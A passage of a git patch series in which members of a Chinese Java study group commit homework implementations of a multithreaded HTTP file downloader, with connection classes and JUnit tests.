 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java

diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..8cf0ae1e42
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,31 @@
+package com.coderising.download;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		try {
+			byte[] bytes = conn.read(startPos, endPos);
+			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
+			file.seek(startPos);
+			file.write(bytes);
+			file.close();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..a5b8aac78e
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,98 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();
+			
+			int size = length / 3;
+			int remain = length - size;
+			
+			Thread[] threads = new Thread[3];
+			for(int i=0;i<3;i++){
+				conn = cm.open(this.url);
+				int startPos = i*size;
+				int endPos = (i+1) * size - 1;
+				if(i == 2){
+					endPos = (i+1) * size - 1 + remain;
+				}
+				threads[i] = new DownloadThread(conn,startPos,endPos);
+				threads[i].start();
+			}
+			boolean finish;
+			do{
+				finish = true;
+				for(int i=0;i<threads.length;i++){
+//					System.out.println("线程" + i + "状态:" + threads[i].getState());
+					if(!"TERMINATED".equals(threads[i].getState().toString())){
+						finish = false;
+						continue;
+					}
+				}
+			}while(!finish);
+			this.getListener().notifyFinished();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..128a302664
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..15534af093
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,26 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+	
+	public void setConnection(HttpURLConnection conn);
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..e7a8b1ef1e
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,62 @@
+package com.coderising.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private HttpURLConnection conn;
+	
+	private InputStream inputStream;
+	
+	private ByteArrayOutputStream outputStream;
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte[] bytes = new byte[1024];
+		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		inputStream = conn.getInputStream();
+		outputStream = new ByteArrayOutputStream();
+		int n = 0;
+		while((n = inputStream.read(bytes)) != -1){
+			outputStream.write(bytes, 0, n);
+		}
+		return outputStream.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return conn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		conn.disconnect();
+		if(inputStream != null){
+			try {
+				inputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		if(outputStream != null){
+			try {
+				outputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+	}
+
+	public HttpURLConnection getConnection() {
+		return conn;
+	}
+
+	public void setConnection(HttpURLConnection conn) {
+		this.conn = conn;
+	}
+
+}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..9d9c2af144
--- /dev/null
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,26 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = new ConnectionImpl();
+		try {
+			URL u = new URL(url);
+			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
+			connection.setConnection(conn);
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return connection;
+	}
+
+}

From 3c16b0b63a40fc4af42c2a59c972fa09be8c3761 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Mon, 27 Mar 2017 16:26:24 +0800
Subject: [PATCH 014/262] FileDownloader update

FileDownloader update
---
 .../coderising/download/FileDownloader.java   | 30 +++++++++++--------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
index a5b8aac78e..1fe4ebb159 100644
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
+++ b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
@@ -14,6 +14,8 @@ public class FileDownloader {
 	
 	ConnectionManager cm;
 	
+	Thread[] threads = new Thread[3];
+	
 
 	public FileDownloader(String _url) {
 		this.url = _url;
@@ -44,7 +46,6 @@ public void execute(){
 			int size = length / 3;
 			int remain = length - size;
 			
-			Thread[] threads = new Thread[3];
 			for(int i=0;i<3;i++){
 				conn = cm.open(this.url);
 				int startPos = i*size;
@@ -55,18 +56,23 @@ public void execute(){
 				threads[i] = new DownloadThread(conn,startPos,endPos);
 				threads[i].start();
 			}
-			boolean finish;
-			do{
-				finish = true;
-				for(int i=0;i<threads.length;i++){
-//					System.out.println("线程" + i + "状态:" + threads[i].getState());
-					if(!"TERMINATED".equals(threads[i].getState().toString())){
-						finish = false;
-						continue;
-					}
+
+			new Thread(new Runnable(){
+				public void run(){
+					boolean finish;
+					do{
+						finish = true;
+						for(int i=0;i<threads.length;i++){
+//							System.out.println("线程" + i + "状态:" + threads[i].getState());
+							if(!"TERMINATED".equals(threads[i].getState().toString())){
+								finish = false;
+								continue;
+							}
+						}
+					}while(!finish);
+					getListener().notifyFinished();
 				}
-			}while(!finish);
-			this.getListener().notifyFinished();
+			}).start();;
 			
 		} catch (ConnectionException e) {			
 			e.printStackTrace();

From 4e0edfc72d036e8a4389fd6b951d58fbd66eb3a3 Mon Sep 17 00:00:00 2001
From: skomefen <1072760797@qq.com>
Date: Mon, 27 Mar 2017 17:29:27 +0800
Subject: [PATCH 015/262] =?UTF-8?q?=E7=AC=AC=E4=B8=89=E5=91=A8?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/download/DownloadThread.java   |  65 ++++++++
 .../coderising/download/FileDownloader.java   |  89 +++++++++++
 .../download/FileDownloaderTest.java          |  58 +++++++
 .../coderising/download/api/Connection.java   |  24 +++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 ++
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         | 143 ++++++++++++++++++
 .../download/impl/ConnectionManagerImpl.java  |  16 ++
 .../src/junit/test/ConnectionImplTest.java    |  92 +++++++++++
 .../junit/test/ConnectionManagerImplTest.java |  31 ++++
 .../src/junit/test/DownloadThreadTest.java    |  77 ++++++++++
 12 files changed, 615 insertions(+)
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java

diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..66024b0ccf
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,65 @@
+package com.coderising.download;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	private Connection conn;
+	private int startPos;
+	private int endPos;
+	private byte[] b = null;
+	private static Lock lock = new ReentrantLock();
+	private static int index=0;
+	
+	static FileOutputStream file = null;
+	static{
+		try {
+			file = new FileOutputStream(new File("e://readme.txt"));
+		} catch (FileNotFoundException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		try {
+			this.b =  conn.read(startPos, endPos);
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+			throw new RuntimeException();
+		}finally{
+			conn.close();
+		}
+
+	}
+	public void  run(){	
+		if(lock.tryLock()){
+			if(index==startPos){
+				try {
+					if (file!=null) {
+						file.write(b);
+					}
+					index=endPos+1;
+				} catch (IOException e) {
+					e.printStackTrace();
+					throw new RuntimeException();
+				}
+	
+			}else{
+				lock.unlock();
+			}
+		}
+	}
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..ed4a1cf9a1
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,89 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			if(length%3==0){
+				for(int i=1;i<=3;i++){
+					int startPos = length/3*i-1;
+					int endPos = length/3*(i-1);
+					new DownloadThread(conn, endPos, startPos).start();
+				}
+			}else{
+				for(int i=1;i<=2;i++){
+					
+					int startPos = length/3*(i-1);
+					int endPos = length/3*i-1;
+					new DownloadThread(conn, startPos, endPos).start();
+				}
+				int startPos = length/3*2;
+				new DownloadThread(conn, startPos, length).start();
+			}
+			
+			listener.notifyFinished();
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..ce99026d2b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,58 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..3982b8e310
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,24 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 * 
+	 */
+	public void close();
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..ae639d2651
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,143 @@
+package com.coderising.download.impl;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private String url = null;
+	private InputStream in = null;
+
+
+	public ConnectionImpl(String url) {
+		this.url = url;
+		
+		
+	}
+
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		try {
+			if(url==null||url.trim()==""){
+				return null;
+			}
+			
+			URL u = new URL(url);
+			in = u.openStream();
+			
+			
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		
+		if(in==null){
+			return null;
+		}
+		byte[] read = insert(startPos, endPos);
+
+		return read;
+	}
+
+	private byte[] insert(int startPos, int endPos) throws IOException {
+		byte[] b = new byte[1024];
+		int len = 0;
+		int index = 0;
+		byte[] read = new byte[endPos-startPos+1];
+		
+		while((len=in.read(b))>0){
+			if((index+1024)<=startPos){
+				index+=1024;
+				continue;
+			}
+			
+			if(index<=startPos&&startPos<(index+1024)){
+				
+				if(endPos<(index+1024)){
+					for(int i=0,j=startPos-index;i<read.length;i++,j++){
+						read[i]=b[j];
+					}
+					index+=1024;
+					break;
+				}else{
+				
+					for(int i=0,j=startPos-index;i<(index+1024-startPos);i++,j++){
+						read[i]=b[j];
+					}
+				}
+				
+			}
+			
+			if(startPos<index){
+				
+				if(endPos<(index+1024)){
+					for(int i=0,j=index-startPos;i<(endPos-index+1);i++,j++){
+						read[j] = b[i];
+					}
+					index+=1024;
+					break;
+
+				}
+				
+				for(int i=0,j=index;i<1024;i++,j++){
+					read[j] = b[i];
+				}
+				
+			}
+			
+			
+			index+=1024;
+		}
+		return read;
+	}
+
+	public int getContentLength() {
+		
+		if(url==null||url.trim()==""){
+			return 0;
+		}
+		
+		try{
+		
+		URL u = new URL(url);
+		in = u.openStream();
+		if(in==null){
+			return 0;
+		}
+		int length = in.available();
+		return length;
+		}catch(Exception e){
+			e.printStackTrace();
+			throw new RuntimeException();
+		}finally{
+			try {
+				if(in!=null){
+					in.close();
+				}
+			} catch (IOException e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+		}
+		
+	}
+
+	public void close() {
+		
+
+		try {
+			if(in!=null){
+				in.close();
+			}
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..a338036bf8
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,16 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	Connection conn = null;
+	
+	public Connection open(String url) throws ConnectionException {
+		
+		return conn = new ConnectionImpl(url);
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
new file mode 100644
index 0000000000..dcd1254a2a
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
@@ -0,0 +1,92 @@
+/**
+ * 
+ */
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.impl.ConnectionImpl;
+
+/**
+ * @author Oliver
+ *
+ */
+public class ConnectionImplTest {
+	
+	Connection conn = null;
+	InputStream in = null;
+	
+	@Before
+	public void setUp() throws Exception {
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		conn = new ConnectionImpl(url);
+		
+		URL u = new URL(url);
+		in =  u.openStream();
+	}
+
+	
+	@After
+	public void tearDown() throws Exception {
+	}
+
+
+	@Test
+	public void testRead() throws IOException {
+		
+		byte[] connbuffer = conn.read(0, 99);
+		Assert.assertEquals(100, connbuffer.length);
+		byte[] connbuffer2 = conn.read(0, 99);
+		Assert.assertArrayEquals(connbuffer,connbuffer2);
+		
+		
+		byte[] b = new byte[100];
+		in.read(b);
+
+		Assert.assertArrayEquals(b, conn.read(0, 99));
+		
+		byte[] b1 = new byte[50];
+		for(int i=0;i<50;i++){
+			b1[i]=b[50+i];
+		}
+		
+		Assert.assertArrayEquals(b1, conn.read(50, 99));
+		
+		
+
+	}
+
+
+	@Test
+	public void testGetContentLength() throws Exception {
+		
+		byte[] b = new byte[1024];
+		int len = 0;
+		int count = 0;
+		while((len=in.read(b))>0){
+			count+=len;
+		}
+		Assert.assertEquals(count, conn.getContentLength());
+		
+	}
+
+
+	@Test
+	public void testClose() {
+		conn.close();
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
new file mode 100644
index 0000000000..589c1bf1d2
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
@@ -0,0 +1,31 @@
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionImpl;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class ConnectionManagerImplTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+
+	@Test
+	public void testOpen() throws ConnectionException {
+		ConnectionManager cm = new ConnectionManagerImpl();
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		Connection conn = cm.open(url);
+	}
+
+}
diff --git a/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
new file mode 100644
index 0000000000..5ae230e97b
--- /dev/null
+++ b/group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
@@ -0,0 +1,77 @@
+package junit.test;
+
+import static org.junit.Assert.*;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+
+
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.DownloadThread;
+import com.coderising.download.api.Connection;
